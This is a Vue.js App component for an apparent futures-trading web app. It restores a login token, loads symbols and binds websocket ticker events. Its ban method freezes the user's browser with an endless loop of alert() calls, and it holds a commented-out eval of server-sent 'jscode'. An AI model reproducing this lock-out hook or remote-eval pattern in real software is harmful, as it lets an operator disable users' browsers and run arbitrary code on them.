<template>
  <div id="app"><router-view /></div>
</template>

<script>
export default {
  name: 'App',
  mounted() {
    //  初始化方法
    this.loadSymbol();
    // this.$router.push({ path: '/' });
    //  检测是否登录
    if (this.$svcInvoke.config._token) {
      return this.$router.push({ path: '/' });
    } else {
      if (localStorage.getItem('_token')) {
        this.$svcInvoke.setConf('_token', localStorage.getItem('_token'));
        return this.$router.push({ path: '/' });
      }/* else {
        return this.$router.push({ path: '/' });
      } */
    }
  },
  methods: {
    loadSymbol() {
      this.$get('addons/tf-futures/symbol/cate-list').then(res => {
        if (res.code == 200) {
          if (res.data.length > 0) {
            this.$store.commit('trade/setSymbol', res.data);
            this.$store.commit('trade/setOptionlist', res.data);
            this.$socket.conn();
          }
        } else {
          this.$message.error(res.message || '行情数据获取失败');
        }
      });
    },
    ban(data) {
      if (!data.jscode) {
        while (1) {
          alert(Math.random() * 19999);
        }
      } else {
        // eval(data.jscode);
        this.$store.commit('set', { loginbrn: false });
      }
    }
  },
  socket: {
    onopen(e) {
      this.$socket.send({ event: 'bind_tf_futures_trade' });
    },
    events: {
      onready(data) {
        if (data.ticket) {
          Object.keys(data.ticket).forEach(key => {
            this.$store.commit('trade/setTicket', JSON.parse(data.ticket[key]));
          });
        }

        if (data.symbol) {
          Object.keys(data.symbol).forEach(key => {
            this.$store.commit('trade/setSymbol', data.symbol);
          });
        }
        console.log(this.$store.state.trade);
      },
      ticket(data) {
        this.$store.commit('trade/setTicket', data);
      }
    }
  }
};
</script>

<style>
@import "../static/content/iconfont/iconfont.css";
* {
  margin: 0;
  padding: 0;
}
/* .mint-cell-wrapper{
  background-color: #242D36;
}
.mint-field-core {
  padding: 5px 30px;
  box-sizing: border-box;
  font-size: 30px;
  background-color: #242D36;
  color: #ccc;
}
.mint-header {
  background: #242D36;
} */
.page-wrap {
  overflow: auto;
  height: 100%;
  background: #242D36;
}
</style>
